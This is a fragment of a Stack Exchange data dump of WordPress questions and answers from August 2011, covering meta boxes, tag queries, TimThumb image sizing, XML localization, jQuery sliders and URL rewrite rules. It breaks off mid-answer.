  <row Id="27140" PostTypeId="2" ParentId="7453" CreationDate="2011-08-28T18:21:11.157" Score="0" ViewCount="" Body="&lt;p&gt;The best solution is to pull the existing meta boxes onto your page on the front end without having to recreate them.  No need to do any additional work, just use this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Load necessary admin files&#xA;include( ABSPATH . 'wp-admin/includes/template.php' );&#xA;include( ABSPATH . 'wp-admin/includes/post.php' );&#xA;// Add meta boxes&#xA;do_action('add_meta_boxes', $post_type, $post);&#xA;do_action('add_meta_boxes_' . $post_type, $post);&#xA;// Show Meta Boxes&#xA;do_meta_boxes( $post_type, 'normal', $post );&#xA;do_meta_boxes( $post_type, 'advanced', $post );&#xA;do_meta_boxes( $post_type, 'side', $post );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As long has you have your other $_POST variables setup and are using wp_insert_post(), the 'save_post' action is called and the data in your metaboxes will be saved.&lt;/p&gt;&#xA;" OwnerUserId="6945" LastActivityDate="2011-08-28T18:21:11.157" />
  <row Id="27141" PostTypeId="1" CreationDate="2011-08-28T18:32:10.897" Score="1" ViewCount="42" Body="&lt;p&gt;Is there a way to query posts which &lt;strong&gt;do not&lt;/strong&gt; have tags assigned to them?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('tag='tag_exmaple'&amp;amp;posts_per_page=-1');      &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ty very much!&lt;/p&gt;&#xA;" OwnerUserId="2979" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-28T23:20:52.663" LastActivityDate="2011-08-28T23:20:52.663" Title="Query all posts which do not have tags assigned to them" Tags="&lt;tags&gt;&lt;query&gt;" AnswerCount="2" />
  <row Id="27142" PostTypeId="1" CreationDate="2011-08-28T19:22:27.270" Score="0" ViewCount="54" Body="&lt;p&gt;I updated Timthumb to ver 2.0 and now the images are being upsized to fit the width of the page. For example, see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://timfleming.com/scanner-art/2008-2009/poppies.htm/&quot; rel=&quot;nofollow&quot;&gt;http://timfleming.com/scanner-art/2008-2009/poppies.htm/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original image is 614 px high. It is being enlarged to fill the width of the page (941 px) and the height is up to 1500 px or so&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using version 2.0, Mac OS 10 .6.8 Google Chrome, Wordpress 3.2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have changed this: define (‘MAX_WIDTH’, 941); // maximum image width define (‘MAX_HEIGHT’, 614); // maximum image height&#xA;Is there anything else I’m missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Tim&lt;/p&gt;&#xA;" OwnerUserId="8229" LastActivityDate="2011-08-28T20:29:09.033" Title="Problem after updating to Timthumb 2. with Wordpress" Tags="&lt;security&gt;&lt;scripts&gt;&lt;timthumb&gt;" AnswerCount="1" />
  <row Id="27143" PostTypeId="2" ParentId="27141" CreationDate="2011-08-28T19:31:41.233" Score="0" ViewCount="" Body="&lt;p&gt;You could get an array of all of the tag ids and send it to the &quot;tag__not_in&quot; parameter. Not the most elegant solution, but I'm not sure how else it would be accomplished.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-28T19:31:41.233" />
  <row Id="27144" PostTypeId="1" AcceptedAnswerId="27148" CreationDate="2011-08-28T19:48:30.893" Score="2" ViewCount="41" Body="&lt;p&gt;Do you guys know any way I could automatically pick up strings from .xml files and store them in a .po / .pot file, just like PoEdit does with the ones from .php files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The XML structure looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;iso-8859-1&quot;?&amp;gt;&#xA;&amp;lt;options&amp;gt;&#xA;  &amp;lt;page id=&quot;content&quot; label=&quot;Content Options&quot; icon=&quot;4&quot;&amp;gt;&#xA;    &amp;lt;section id=&quot;post&quot; label=&quot;Content Options&quot;&amp;gt;&#xA;      &amp;lt;option id=&quot;title&quot; type=&quot;checkbox&quot; default=&quot;yes&quot; label=&quot;Show post title&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;      &amp;lt;option id=&quot;comments&quot; type=&quot;checkbox&quot; default=&quot;yes&quot; label=&quot;Show comments link&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;      &amp;lt;option id=&quot;thumb_size&quot; type=&quot;select&quot; default=&quot;default&quot; label=&quot;Thumbnail Size&quot;&amp;gt;&#xA;        &amp;lt;value id=&quot;default&quot; label=&quot;Default Size, (%s)&quot; vars=&quot;default_size&quot;&amp;gt;&amp;lt;/value&amp;gt;&#xA;        &amp;lt;value id=&quot;100x100&quot; label=&quot;Small (100x100)&quot;&amp;gt;&amp;lt;/value&amp;gt;&#xA;        &amp;lt;value id=&quot;150x150&quot; label=&quot;Medium (150x150)&quot;&amp;gt;&amp;lt;/value&amp;gt;&#xA;        &amp;lt;value id=&quot;200x200&quot; label=&quot;Large (200x200)&quot;&amp;gt;&amp;lt;/value&amp;gt;&#xA;      &amp;lt;/option&amp;gt;&#xA;&#xA;    &amp;lt;/section&amp;gt;&#xA;  &amp;lt;/page&amp;gt;&#xA;&amp;lt;/options&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Strings within the &quot;label&quot; attribute should be detected by a gettext parser or something...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-09-01T23:29:05.273" Title="Localizing text from XML files" Tags="&lt;localization&gt;&lt;xml&gt;&lt;xgettext&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="27145" PostTypeId="2" ParentId="27142" CreationDate="2011-08-28T20:29:09.033" Score="0" ViewCount="" Body="&lt;p&gt;Have you tried re-generating the thumbnails?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you haven't try this plug-in, I've used it and it worked for me. I didn't have the exact problem though (my images were the original size, but not larger), but maybe it will work for you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/regenerate-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/regenerate-thumbnails/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-08-28T20:29:09.033" CommentCount="4" />
  <row Id="27147" PostTypeId="2" ParentId="27141" CreationDate="2011-08-28T21:17:34.867" Score="3" ViewCount="" Body="&lt;p&gt;Either use the &lt;code&gt;tag_not_in&lt;/code&gt; parameter if you have the tag id and if not then you can use &lt;code&gt;tax_query&lt;/code&gt; parameter like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tag_to_exclude = 'example_tag';&#xA;$args = array(&#xA;'posts_per_page' =&amp;gt; -1,&#xA;'tax_query' =&amp;gt; array(&#xA;        array(&#xA;            'taxonomy' =&amp;gt; 'post_tag',&#xA;            'field' =&amp;gt; 'slug',&#xA;            'terms' =&amp;gt; array($tag_to_exclude),&#xA;            'operator' =&amp;gt; 'NOT IN',&#xA;        )&#xA;);&#xA;query_posts($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-28T21:17:34.867" />
  <row Id="27148" PostTypeId="2" ParentId="27144" CreationDate="2011-08-28T21:20:40.183" Score="3" ViewCount="" Body="&lt;p&gt;You should use a localized XML format like &lt;code&gt;XLIFF&lt;/code&gt; or &lt;code&gt;TMX&lt;/code&gt; , there is a tool to convert XLIFF to .po.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you cannot change the source XML you have a few options but it really depends how your outputting this XML info:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Parse the XML ( for label) and create a .po with gettext output for these strings (then possibly merge the .po files).  &lt;/li&gt;&#xA;&lt;li&gt;Duplicate the XML and insert the &lt;code&gt;_()&lt;/code&gt; gettext right into the XML, then parse it on output.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also have a look at this tool, and there are some command line python tools that can convert xml--&gt;po I think, &lt;a href=&quot;http://itstool.org/&quot; rel=&quot;nofollow&quot;&gt;http://itstool.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-28T21:20:40.183" CommentCount="1" />
  <row Id="27149" PostTypeId="2" ParentId="27096" CreationDate="2011-08-28T22:06:38.407" Score="1" ViewCount="" Body="&lt;p&gt;As mentioned by @Michael in his &lt;a href=&quot;http://wordpress.stackexchange.com/questions/27096/featured-images-am-i-missing-something/27113#27113&quot;&gt;answer&lt;/a&gt; the theme has to support the Post Thumbnail functionality.&#xA;All you need to do for it is to put this line into the theme's &lt;code&gt;function.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_theme_support( 'post-thumbnails' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's a good chance it's there already, so search first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you only need to output the image somehow. There is a function called &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;the_post_thumbnail()&lt;/a&gt;. You can copy and paste the following line almost anywhere in your theme files. Try &lt;code&gt;index.php&lt;/code&gt; or &lt;code&gt;single.php&lt;/code&gt; and you will see. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_post_thumbnail( 'thumbnail' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These 1 or 2 steps are all that is needed for the very basic Post Thumbnail functionality. You can implement this into any theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will find all this and much more (much better written also) in &lt;a href=&quot;http://justintadlock.com/archives/2009/11/16/everything-you-need-to-know-about-wordpress-2-9s-post-image-feature&quot; rel=&quot;nofollow&quot;&gt;Everything you need to know about WordPress 2.9′s post image feature&lt;/a&gt; by Justin Tadlock. It's an excellent article I kept returning to the most when I was learning how to work with the featured images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Good luck (again;) and let us know how it went and/or if you have more questions!&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="2110" LastEditorUserId="2110" LastEditorDisplayName="" LastEditDate="2011-08-28T22:17:57.687" LastActivityDate="2011-08-28T22:17:57.687" CommentCount="2" />
  <row Id="27150" PostTypeId="2" ParentId="26158" CreationDate="2011-08-29T00:20:38.453" Score="0" ViewCount="" Body="&lt;p&gt;Jigoshop orders products the same as Wordpress orders its posts. In order to give your products a specific order you can either do what Bainternet suggests, or you can just modify the publish dates to suit the order you desire.&lt;/p&gt;&#xA;" OwnerUserId="8230" LastActivityDate="2011-08-29T00:20:38.453" />
  <row Id="27151" PostTypeId="2" ParentId="27115" CreationDate="2011-08-29T00:22:36.277" Score="0" ViewCount="" Body="&lt;p&gt;The Q is not stupid. Imo just the extremly confusing way it's documented. I also remember that there's somewhere in the codex written, that using &lt;code&gt;selected()&lt;/code&gt; and similar stuff is a must(!). I don't aggree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway: &lt;code&gt;selected( 'one_value', 'val_to_compare_with', true );&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-29T00:22:36.277" CommentCount="2" />
  <row Id="27152" PostTypeId="1" CreationDate="2011-08-29T01:05:49.760" Score="0" ViewCount="86" Body="&lt;p&gt;I've been looking for a slider that can slide whatever kind of content that I want to enter.&#xA;I tried out various Wordpress plugins, but most of them only can slide Wordpress posts or images only with a small caption.&#xA;I'm looking for something like the &lt;a href=&quot;http://www.gopiplus.com/work/2011/06/02/wordpress-plugin-wp-photo-slider-50/#comment-52504&quot; rel=&quot;nofollow&quot;&gt;WP Photo Slider 50&lt;/a&gt;.&#xA;Unfortunately this slider doesn't work in my theme, though as there is a jquery conflict and I have no clue how to modify the plugin so that there won't be a conflict (if possible at all).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if somebody could help me find a slider plugin similar to the one above, direct me to a &quot;how to creat a slider yourself&quot; website or help me figure out how to get rid of the jquery conflict with the plugin mentioned above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My website (still heavily under construction): &lt;a href=&quot;http://www.zoomingjapan.com&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot in advance :)&lt;/p&gt;&#xA;" OwnerUserId="6903" LastActivityDate="2011-08-30T08:26:19.923" Title="Simple text and image slider" Tags="&lt;jquery&gt;" AnswerCount="5" />
  <row Id="27153" PostTypeId="2" ParentId="27109" CreationDate="2011-08-29T01:07:41.487" Score="0" ViewCount="" Body="&lt;p&gt;Why not just create different sidebars or the two pages.  One for front page and another for single posts?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or in your your sidebar.php (or whichever template file is calling the widgets) you could use conditional code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (is_single()) {?&amp;gt;&#xA;Widget html code here&#xA;&amp;lt;?php }?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8054" LastActivityDate="2011-08-29T01:07:41.487" />
  <row Id="27154" PostTypeId="2" ParentId="27152" CreationDate="2011-08-29T01:12:11.947" Score="0" ViewCount="" Body="&lt;p&gt;Would the Nivo Slider work?  I have found it to be very helpful when having a similar jQuery conflict.&lt;br&gt;&#xA;&lt;a href=&quot;http://nivo.dev7studios.com/&quot; rel=&quot;nofollow&quot;&gt;http://nivo.dev7studios.com/&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They have a free version.&lt;/p&gt;&#xA;" OwnerUserId="8054" LastActivityDate="2011-08-29T01:12:11.947" CommentCount="1" />
  <row Id="27155" PostTypeId="2" ParentId="27152" CreationDate="2011-08-29T02:30:38.740" Score="1" ViewCount="" Body="&lt;p&gt;I use &lt;a href=&quot;http://flowplayer.org/tools/scrollable/&quot; rel=&quot;nofollow&quot;&gt;jQuery Scrollable&lt;/a&gt; for all my slider needs. It supports sliding of any type of content, and content can slide horizontally and vertically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;JQuery Tools and JQuery Scrollable are free, open sourced, and well documented. The support forums can be very useful if you are having problems implementing scrollable.&lt;/p&gt;&#xA;" OwnerUserId="5395" LastActivityDate="2011-08-29T02:30:38.740" CommentCount="3" />
  <row Id="27156" PostTypeId="2" ParentId="20322" CreationDate="2011-08-29T02:46:13.230" Score="0" ViewCount="" Body="&lt;p&gt;I did find some solutions to the problems I had above:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Red strike through in the Rewrite Analyzer plug in means that the query_var wasn't defined before hand, so WP automagically deletes them.  The other problem I had was solved here: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/20913/using-postname-tag-with-a-custom-permastruct-creates-400-bad-request-errors-fro&quot;&gt;Using %postname% tag with a Custom Permastruct creates 400 Bad Request Errors from the server&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-08-29T02:46:13.230" />
  <row Id="27157" PostTypeId="1" CreationDate="2011-08-29T02:59:51.150" Score="0" ViewCount="18" Body="&lt;p&gt;Is there any option or is it recommended to combine external JS files using W3 Total Cache plugin for wordpress. When I say exxternal JS files, I mean that I want to combine .JS files that on other domains/CDNs, like the .JS for facebook like button, Google+1 ,etc. I want them to be combined using w3 total cache. Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="8233" LastActivityDate="2011-08-29T06:01:09.843" Title="Combile External JS files using W3 Total Cache" Tags="&lt;cache&gt;&lt;plugin-w3-total-cache&gt;" AnswerCount="1" />
  <row Id="27158" PostTypeId="1" CreationDate="2011-08-29T03:58:33.960" Score="1" ViewCount="31" Body="&lt;p&gt;From few months I am digging into wordpress for multiple category search options, and finally came up with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just found that wordpress allows multiple tags, which means that if in your URL you type this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://yourblog.com/tag/tag1+tag2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then it will return all your posts with having tags, tag1 &lt;strong&gt;AND&lt;/strong&gt; tag2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but if you type &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://yourblog.com/tag/tag1,tag2&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then it will return all the posts having tag1 &lt;strong&gt;OR&lt;/strong&gt; tag2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same thing now works for categories also &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://yourblog.com/category/cat1+cat2&lt;/code&gt; and &lt;code&gt;http://yourblog.com/category/cat1,cat2&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this only works for category and tags, I am trying it for search option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Till now I coded where this URL is working(which means it will search HTML only in the category id 114),&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://yourblog.com/?s=html&amp;amp;cat=114&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this URL, the &lt;strong&gt;comma separator&lt;/strong&gt; works very well, but not the &lt;strong&gt;+&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean to say&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://yourblog.com/?s=html&amp;amp;cat=114,115&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;works very well but &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://yourblog.com/?s=html&amp;amp;cat=114+115&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;doesn't works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me in this? I really want this to work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still awaiting&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditorDisplayName="" LastEditDate="2011-08-30T19:26:35.027" LastActivityDate="2011-08-31T01:31:02.197" Title="Wordpress Multiple Category Search" Tags="&lt;categories&gt;&lt;search&gt;&lt;multiple&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="27159" PostTypeId="2" ParentId="27152" CreationDate="2011-08-29T04:09:53.207" Score="0" ViewCount="" Body="&lt;p&gt;Yaa I also recommend the NIVO slider, here is a tutorial on how to integrate it with wordpress&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://webstutorial.com/wordpress-jquery-slide-show-how-to-add-wordpress-jquery-slide-show-wordpress-jquery-nivo-slider/content-management-system-cms/wordpress-cms&quot; rel=&quot;nofollow&quot;&gt;http://webstutorial.com/wordpress-jquery-slide-show-how-to-add-wordpress-jquery-slide-show-wordpress-jquery-nivo-slider/content-management-system-cms/wordpress-cms&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-08-29T04:09:53.207" />
  <row Id="27160" PostTypeId="2" ParentId="27109" CreationDate="2011-08-29T04:26:17.503" Score="0" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://wordpress.org/extend/plugins/widget-logic/&quot; rel=&quot;nofollow&quot;&gt;Widget Logic « WordPress Plugins&lt;/a&gt; with &lt;a href=&quot;http://wordpress.org/extend/plugins/php-code-widget/&quot; rel=&quot;nofollow&quot;&gt;PHP Code Widget « WordPress Plugins&lt;/a&gt; to use multiple widgets with the same function in one sidebar. Or create another sidebar and use the same widget in each; check the twentyten or twentyeleven themes for the sidebar and functions.php code.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-08-29T04:26:17.503" />
  <row Id="27161" PostTypeId="2" ParentId="26851" CreationDate="2011-08-29T05:47:56.433" Score="0" ViewCount="" Body="&lt;p&gt;Ok, thanks everyone for helping out with this, but it looks like the issue was the canonical redirects in wordpress conflicting with the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I fixed the problem by adding this to my functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter('template_redirect', 'redirect_canonical'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've never ran into this issue before, but this is the first time I've ever worked with Ubuntu, so it's a learning experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&#xA;Troy&lt;/p&gt;&#xA;" OwnerUserId="4432" LastActivityDate="2011-08-29T05:47:56.433" />
  <row Id="27162" PostTypeId="2" ParentId="27157" CreationDate="2011-08-29T06:01:09.843" Score="2" ViewCount="" Body="&lt;p&gt;It would be a bad idea to combine common CDN served files that the majority of web users already have cached for obvious reasons...&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-29T06:01:09.843" CommentCount="1" />
  <row Id="27163" PostTypeId="1" CreationDate="2011-08-29T02:40:31.083" Score="1" ViewCount="27" Body="&lt;p&gt;I have the following code that exists in a plugin that is meant to take a request to the url &lt;code&gt;/stores/directory/foorbar/&lt;/code&gt; and pass &lt;code&gt;foobar&lt;/code&gt; as a GET variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function pcrr_rewrite_rules($a) {&#xA;    $k = array('stores/directory/([^/]+)/?$' =&amp;gt; 'index.php?pagename=directory&amp;amp;pod_store_id=$matches[1]');&#xA;    return $k + $a;&#xA;}&#xA;add_filter('rewrite_rules_array', 'pcrr_rewrite_rules');&#xA;&#xA;# Flush existing rules and rewrite&#xA;function pcrr_activate() {&#xA;    global $wp_rewrite;&#xA;    $wp_rewrite-&amp;gt;flush_rules();&#xA;}&#xA;register_activation_hook(__FILE__, 'pcrr_activate');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The expected behaviour would be any requests to &lt;code&gt;/stores/directory/foobar/&lt;/code&gt; would instead load &lt;code&gt;index.php?...&lt;/code&gt;, however, whilst requests are being handled, they are redirecting to the URL, instead of masking it. For example, a request to &lt;code&gt;/stores/directory/foobar/&lt;/code&gt; is redirected to &lt;code&gt;/stores/directory/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how I can correct this behaviour?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="8231" LastEditorUserId="8231" LastEditorDisplayName="" LastEditDate="2011-08-29T07:05:52.140" LastActivityDate="2011-08-29T07:35:49.533" Title="WordPress custom URL Rewrites redirecting not masking" Tags="&lt;plugins&gt;&lt;url-rewriting&gt;&lt;rewrite-rules&gt;" AnswerCount="1" />
  <row Id="27164" PostTypeId="1" CreationDate="2011-08-29T07:26:46.490" Score="0" ViewCount="11" Body="&lt;p&gt;is there a snippet or plugin that can do the edit of the post SEO friendlier and with human readable name like instad of &quot;Heading3&quot;- &gt; &quot;The Paragraph Title&quot; &#xA;and dont add additional attributes like DIR=LTR etc..?&lt;/p&gt;&#xA;" OwnerUserId="7095" LastActivityDate="2011-08-29T07:26:46.490" Title="wordpress tiny mce simple &amp; seo" Tags="&lt;posts&gt;&lt;tinymce&gt;&lt;seo&gt;&lt;user-interface&gt;" CommentCount="1" />
  <row Id="27165" PostTypeId="1" CreationDate="2011-08-29T07:34:55.807" Score="0" ViewCount="20" Body="&lt;p&gt;I am developing a plugin to customize wordpress administration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating / Editing an article, when i user insert an image from media library or uploading it, i want to clear the image title, as default is set as image file name, and i want to set Big as image size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for the hook to work on it, i tried by using jquery but i guess the view button load the content in ajax.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_head-media-upload-popup','set_form_fields');&#xA;&#xA;function set_form_fields() {&#xA;    echo&quot;&amp;lt;script type=\&quot;text/javascript\&quot;&amp;gt;&#xA;    jQuery(document).ready( function($) {&#xA;        alert('ciao');&#xA;        jQuery('tr.post-title td.field input').attr('value','');&#xA;    });&#xA;    &amp;lt;/script&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i am looking for how to set image post title='' and big radio button to &quot;checked&quot;&lt;/p&gt;&#xA;" OwnerUserId="8164" LastEditorUserId="8164" LastEditorDisplayName="" LastEditDate="2011-08-29T08:33:59.843" LastActivityDate="2011-08-29T15:34:06.580" Title="How to set Media Box form elements default value?" Tags="&lt;hooks&gt;&lt;media-upload&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="27166" PostTypeId="2" ParentId="27163" CreationDate="2011-08-29T07:35:49.533" Score="0" ViewCount="" Body="&lt;p&gt;Quick'n'dirty Class to do this following below (you need to flush by hand in admin settings for permalinks):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Add query args &amp;amp; vars &amp;amp; redirect stuff somewhere else&#xA; * Could be extended to support arrays of query args on input&#xA; * @package Rewrite Class&#xA; * @author F.J.Kaiser&#xA; */&#xA;class wpseAddRewriteRules&#xA;{&#xA;    var $file_name;&#xA;    var $query_arg;&#xA;    var $query_var;&#xA;&#xA;    function __construct( file_name, query_arg, query_var )&#xA;    {&#xA;        $this-&amp;gt;file_name    = $file_name;&#xA;        $this-&amp;gt;query_arg    = $query_arg;&#xA;        $this-&amp;gt;query_var    = $query_var;&#xA;&#xA;        add_action( 'wp_loaded', array( &amp;amp;$this, 'add_rewrite_rule') );&#xA;        add_filter( 'query_vars', array( &amp;amp;$this, 'add_query_vars') );&#xA;        add_action( 'parse_request', array( &amp;amp;$this, 'parse_request') );&#xA;    }&#xA;&#xA;&#xA;    function add_rewrite_rule()&#xA;    {&#xA;        add_rewrite_rule( &#xA;             &quot;{$this-&amp;gt;file_name}.php$&quot;&#xA;            ,&quot;index.php?{$this-&amp;gt;query_arg}={$this-&amp;gt;query_var}&quot;&#xA;            ,'top' &#xA;        );&#xA;    }&#xA;&#xA;&#xA;    function add_query_vars( $query_vars )&#xA;    {&#xA;        $query_vars[] = $this-&amp;gt;query_arg;&#xA;        return $query_vars;&#xA;    }&#xA;&#xA;&#xA;    function parse_request( &amp;amp;$wp )&#xA;    {&#xA;        if ( array_key_exists( $this-&amp;gt;query_arg, $wp-&amp;gt;query_vars ) ) {&#xA;            include plugin_dir_path( __FILE__ ).&quot;{$this-&amp;gt;file_name}.php&quot;;&#xA;            exit();&#xA;        }&#xA;        return;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: Just written off the backside of my brain, so no waranty on anything. Typos &amp;amp; such may be hidden in there.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-29T07:35:49.533" CommentCount="2" />
  <row Id="27167" PostTypeId="2" ParentId="27152" CreationDate="2011-08-29T07:41:18.340" Score="1" ViewCount="" Body="&lt;p&gt;I made an own slider, based on &lt;a href=&quot;http://slidesjs.com&quot; rel=&quot;nofollow&quot;&gt;Slides (slideshow plugin for jQuery)&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usage example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;functions.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function featured_posts( $category='featured', $limit='-1' ) {&#xA;    $category = get_category_by_slug( $category );&#xA;    $posts = get_posts( array( 'category' =&amp;gt; $category-&amp;gt;cat_ID , 'orderby' =&amp;gt; 'rand' , 'DESC' , 'numberposts' =&amp;gt; $limit ));&#xA;    foreach ($posts as $post) {&#xA;        $post_title = htmlspecialchars(stripslashes($post-&amp;gt;post_title));&#xA;&#xA;        echo '&#xA;            &amp;lt;div class=&quot;slide&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;slide-title&quot;&amp;gt;'.$post-&amp;gt;post_title.'&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;slide-content&quot;&amp;gt;'.$post-&amp;gt;post_content.'&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;footer.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery().ready(function() {&#xA;        jQuery('#slides').slides({&#xA;            play: 4000,&#xA;            hoverPause: false,&#xA;            generatePagination: true,&#xA;        });&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You also have to enroll the slides.js in your functions.php, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_script( 'slides.jquery.js' , get_option( 'siteurl' ) . '/wp-content/themes/YOUR THEME/js/slides.jquery.js' , array('jquery') , 